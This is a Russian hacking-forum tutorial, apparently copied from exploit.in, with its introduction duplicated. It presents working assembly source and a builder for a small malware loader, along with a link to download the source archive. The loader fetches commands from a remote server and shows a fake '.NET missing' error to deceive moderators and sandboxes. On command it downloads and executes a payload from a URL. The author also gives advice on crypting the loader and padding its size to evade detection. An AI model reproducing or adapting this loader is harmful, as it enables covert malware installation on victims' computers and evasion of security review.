статья взята с експлойта.
Метод подходит для прохода множества количества модераций. Например, можно скрывать свой файл от ловкого глаза селлера лоадов
В конце статьи полные сорцы и билдер
Как же будем проходить модерацию?
Нам необходимо, чтобы при запуске нашего файла модератор увидел нечто безобидное. И когда мы начнем лить - уже выполняло свои функции.
Тут варианта два.
1) Обнаружение песочниц и виртуалок
2) Активация по команде.
Первый вариант нам не подходит, так как скорее всего нам не удастся спалить виртуалку или что там.
Если биржа крупная я сомневаюсь, что будут проверять вручную. Скорее это будут онлайновые ав песочницы. И нам надо будет подготовиться.
Поэтому я реализовал 2-й вариант. Как он работает?
Приступим к кодингу. Кодить будем на асме.
Лоадер
Основная логика софта. Если полученная команда фейк - то фейк активность, если урл, то качаем и врубаем файл. Если неизвестная команда или не удается скачать, то все повторяем с таймаутом в 10 секунд.
Функция получения команды проста
Она сравнивает первые 4 байта с 'Fake' или 'http' и на основе этого делает вывод.
Для получения команды используется функция GetPageContent, вот ее содержимое.
Сначала подключается по урлу, потом получает размер страницы через функцию HttpQueryInfo, читая content-length. После чего выделяет память нужного размера и блоками в 1 кб читает страницу.
Посмотрим содержимое MakeInstalls, которая отвечает за скачивание файла
Вполне ожидаемо. Создает файл в %Temp%, сохраняет туда полученный файл и врубает. Кстати, для получения файла юзается та же функция, что юзалась функцией получения команды.
Функция FakeActivity может быть любой. Хоть краш, хоть отрисовка окошка. Я для простоты вывожу ошибку что нет дотнета.
Тупо согласен, но вроде прокатило
Можете прихерачить сюда отрисовку окошечка или еще че на ваш вкус.
На этом все. Полученный лоадер весит 3.5 килобайта.
Билдер
Используем директиву file чтобы вшить внутрь билдера стаб:
Создаем консоль и получаем хэндлы
Производим чтение урла и патчинг файла.
Юзать предельно просто, врубаем builder.exe и вводим урл.
Получаем пропатченный loader.exe
Полученный loader.exe криптуем долгоживущим криптом. Если размер после крипта тоже маленький, то открываем файл в блокноте и дописываем в конце N-е количество байт примерно до 1 мегабайта, чтобы не вызывать подозрений
После этого по урлу юзаем следующие команды:
в файл task.txt кладем:
1) Fake - тогда вызывается фейк активность
2) http://server.com/file.exe - качается файл по урлу и запускается
Сорцы и билдер:
https://www.sendspace.com/file/1rceir
пасс exploit.in
Не забывайте юзать стойкий крипт.[/FONT]
Метод подходит для прохода множества количества модераций. Например, можно скрывать свой файл от ловкого глаза селлера лоадов
В конце статьи полные сорцы и билдер
Как же будем проходить модерацию?
Нам необходимо, чтобы при запуске нашего файла модератор увидел нечто безобидное. И когда мы начнем лить - уже выполняло свои функции.
Тут варианта два.
1) Обнаружение песочниц и виртуалок
2) Активация по команде.
Первый вариант нам не подходит, так как скорее всего нам не удастся спалить виртуалку или что там.
Если биржа крупная я сомневаюсь, что будут проверять вручную. Скорее это будут онлайновые ав песочницы. И нам надо будет подготовиться.
Поэтому я реализовал 2-й вариант. Как он работает?
Приступим к кодингу. Кодить будем на асме.
Лоадер
Код:
call ReceiveCommand
.if eax = 1 ; waitable state, fake activity
call FakeActivity
.elseif ; else download payload
.if eax = 2
call MakeInstalls
test eax, eax
jnz ExitProc ; if succeed - exit
invoke Sleep, 10000
jmp start ; if failed repeat with 10 sec timeout
.elseif
invoke Sleep, 10000
jmp start ; unknown command received
.endif
.endif
Основная логика софта. Если полученная команда фейк - то фейк активность, если урл, то качаем и врубаем файл. Если неизвестная команда или не удается скачать, то все повторяем с таймаутом в 10 секунд.
Функция получения команды проста
Код:
proc ReceiveCommand ; get command type
; [return values]
; eax - command type
; [1] - fake activity
; other - download
; if url then eax = 2, ecx = url
; if unknown then eax = 0
push url
call GetPageContent
test eax, eax
je @wtf ; if failed - return unknown command
cmp dword [eax], 'Fake'
je @RetTrue ; return 1 if fake command
cmp dword [eax], 'http'
jnz @wtf ; return 0 unknown command
mov ecx, eax ; return url if http
mov eax, 2
ret
@RetTrue:
invoke VirtualFree, eax, 0, MEM_RELEASE
mov eax, 1
ret
@wtf:
invoke VirtualFree, eax, 0, MEM_RELEASE
xor eax, eax
ret
endp
Она сравнивает первые 4 байта с 'Fake' или 'http' и на основе этого делает вывод.
Для получения команды используется функция GetPageContent, вот ее содержимое.
Код:
proc GetPageContent, url
local hInternet:DWORD
local hUrl:DWORD
local lpMemory:DWORD
local dwSize:DWORD
local lpdwIndex:DWORD
local lpdwBufferLength:DWORD
local lpvBuffer:DWORD
local tmpshit:DWORD
jmp proc_body
useragent du 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',0,0
wininet du 'wininet',0,0
Shlwapi du 'Shlwapi',0,0
StrToIntA db 'StrToIntA',0
InternetOpen db 'InternetOpenW',0
InternetCloseHandle db 'InternetCloseHandle',0
InternetOpenUrl db 'InternetOpenUrlW',0
HttpQueryInfo db 'HttpQueryInfoA', 0
InternetReadFile db 'InternetReadFile',0
proc_body:
push wininet
push InternetOpen
call GetApi
push 0
push 0
push 0
push 0
push useragent
call eax ;InternetOpen(useragent, 0, 0, 0, 0)
.if eax = 0 ; if failed
ret
.endif
mov [hInternet], eax
InternetOpenUrl_loop:
push wininet
push InternetOpenUrl
call GetApi
push 0
push 04000000 ; INTERNET_NO_CACHE_WRITE
push 0
push 0
push [url]
mov ecx, [hInternet]
push ecx
call eax ; InternetOpenUrl(hInternet, url, 0, 0, INTERNET_NO_CACHE_WRITE, 0)
test eax, eax
jnz UrlOpened ; if urlopen failed repeat with 10 sec timeout
invoke Sleep, 10000
jmp InternetOpenUrl_loop
UrlOpened:
mov [hUrl], eax
push wininet
push HttpQueryInfo
call GetApi
push eax
mov [lpdwIndex], 0
lea ecx, [lpdwIndex]
push ecx
mov [lpdwBufferLength], 0
lea ecx, [lpdwBufferLength]
push ecx
lea ecx, [lpvBuffer]
push ecx
push 5
mov ecx, [hUrl]
push ecx
call eax ; HttpQueryInfo
mov ecx, [lpdwBufferLength] ; required size
inc ecx
invoke VirtualAlloc, 0, ecx, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE
pop edx ;HttpQuery
push edi
mov edi, eax
mov [lpdwIndex], 0
lea ecx, [lpdwIndex]
push ecx
lea ecx, [lpdwBufferLength]
push ecx
push edi
push 5
mov ecx, [hUrl]
push ecx
call edx ; HttpQueryInfo
push Shlwapi
push StrToIntA
call GetApi
push edi
call eax
mov [dwSize], eax
invoke VirtualAlloc, 0, eax, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE
test eax, eax
mov [lpMemory], eax
push esi
mov esi, eax
ReadTheShit:
push wininet
push InternetReadFile
call GetApi
lea ecx, [tmpshit]
push ecx
push 1024
push esi
mov ecx, [hUrl]
push ecx
call eax
test eax, eax
jz Finished
mov ecx, [tmpshit]
test ecx, ecx
je Finished
add esi, ecx
jmp ReadTheShit
Finished:
pop esi
push wininet
push InternetCloseHandle
call GetApi
push ebx
mov ebx, eax
mov ecx, [hUrl]
push ecx
call ebx
mov ecx, [hInternet]
push ecx
call ebx; InternetCloseHandle(hInternet)
pop ebx
invoke VirtualFree, edi, 0, MEM_RELEASE
pop edi
mov eax, [lpMemory]
mov ecx, [dwSize]
ret
endp
Сначала подключается по урлу, потом получает размер страницы через функцию HttpQueryInfo, читая content-length. После чего выделяет память нужного размера и блоками в 1 кб читает страницу.
Посмотрим содержимое MakeInstalls, которая отвечает за скачивание файла
Код:
proc MakeInstalls ; download payload
; [params]
; ecx - url
; [return values]
; eax - true/false
local tmpshit:DWORD
local retval:DWORD
local buf:DWORD
local dwSize:DWORD
mov [retval], 0
pushad
mov ebx, ecx
invoke lstrlenA, ebx
mov ecx, ebx
add ecx, eax
dec ecx
cmp byte [ecx], 0Ah
jnz @SkipStrip
mov byte [ecx], 0 ; strip url
@SkipStrip:
invoke lstrlenA, ebx
add eax, eax
add eax, 4
invoke VirtualAlloc, 0, eax, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE
push eax
cinvoke wsprintfW, eax, '%S', ebx
invoke VirtualFree, ebx, 0, MEM_RELEASE
pop ebx
push ebx
call GetPageContent
test eax, eax
je @ErrDownloading
mov [buf], eax
mov [dwSize], ecx
invoke VirtualAlloc, 0, 514, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE
mov edi, eax
invoke GetTempPathW, 256, edi
invoke lstrcatW, edi, '\exploit.in.exe'
invoke CreateFile, edi, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
mov esi, eax
.if esi <> 0FFFFFFFFh
lea edx, [tmpshit]
invoke WriteFile, esi, [buf], [dwSize], edx, 0
.if eax = 1
invoke CloseHandle, esi
invoke ShellExecuteW, 0, 'open', edi, 0, 0, SW_SHOW
.if eax > 32
mov [retval], 1
.endif
.elseif
invoke CloseHandle, esi
.endif
.endif
invoke VirtualFree, edi, 0, MEM_RELEASE
invoke VirtualFree, ebx, 0, MEM_RELEASE
popad
mov eax, [retval]
ret
@ErrDownloading:
invoke VirtualFree, ebx, 0, MEM_RELEASE
popad
xor eax, eax
endp
Вполне ожидаемо. Создает файл в %Temp%, сохраняет туда полученный файл и врубает. Кстати, для получения файла юзается та же функция, что юзалась функцией получения команды.
Функция FakeActivity может быть любой. Хоть краш, хоть отрисовка окошка. Я для простоты вывожу ошибку что нет дотнета.
Код:
proc FakeActivity ; generate fake activity
invoke MessageBoxW, 0, 'You are required to install Microsoft .NET Framework 4.5', 'Error: .NET missed', MB_ICONERROR
ret
Тупо согласен, но вроде прокатило
Можете прихерачить сюда отрисовку окошечка или еще че на ваш вкус.
На этом все. Полученный лоадер весит 3.5 килобайта.
Билдер
Используем директиву file чтобы вшить внутрь билдера стаб:
Код:
[FONT=verdana]
stub: file '..\Moderoad.exe'
FILESIZE = $ - stub
Создаем консоль и получаем хэндлы
Код:
invoke AllocConsole
invoke GetStdHandle, STD_OUTPUT_HANDLE
mov edi, eax
invoke GetStdHandle, STD_INPUT_HANDLE
mov esi, eax
Производим чтение урла и патчинг файла.
Код:
invoke ReadFile, esi, ebx, 256, esp, 0
invoke lstrlenA, ebx
sub eax, 2
mov byte [ebx + eax], 0
lea ecx, [stub + 200h]
cinvoke wsprintfW, ecx, form, ebx
invoke CreateFile, 'loader.exe', GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
.if eax <> 0FFFFFFFFh
push eax
invoke WriteFile, eax, stub, FILESIZE, esp, 0
pop eax
invoke CloseHandle, eax
invoke lstrlenA, saved
invoke WriteFile, edi, saved, eax, esp, 0
.elseif
invoke lstrlenA, Error
invoke WriteFile, edi, Error, eax, esp, 0
Юзать предельно просто, врубаем builder.exe и вводим урл.
Получаем пропатченный loader.exe
Полученный loader.exe криптуем долгоживущим криптом. Если размер после крипта тоже маленький, то открываем файл в блокноте и дописываем в конце N-е количество байт примерно до 1 мегабайта, чтобы не вызывать подозрений
После этого по урлу юзаем следующие команды:
в файл task.txt кладем:
1) Fake - тогда вызывается фейк активность
2) http://server.com/file.exe - качается файл по урлу и запускается
Сорцы и билдер:
https://www.sendspace.com/file/1rceir
пасс exploit.in
Не забывайте юзать стойкий крипт.[/FONT]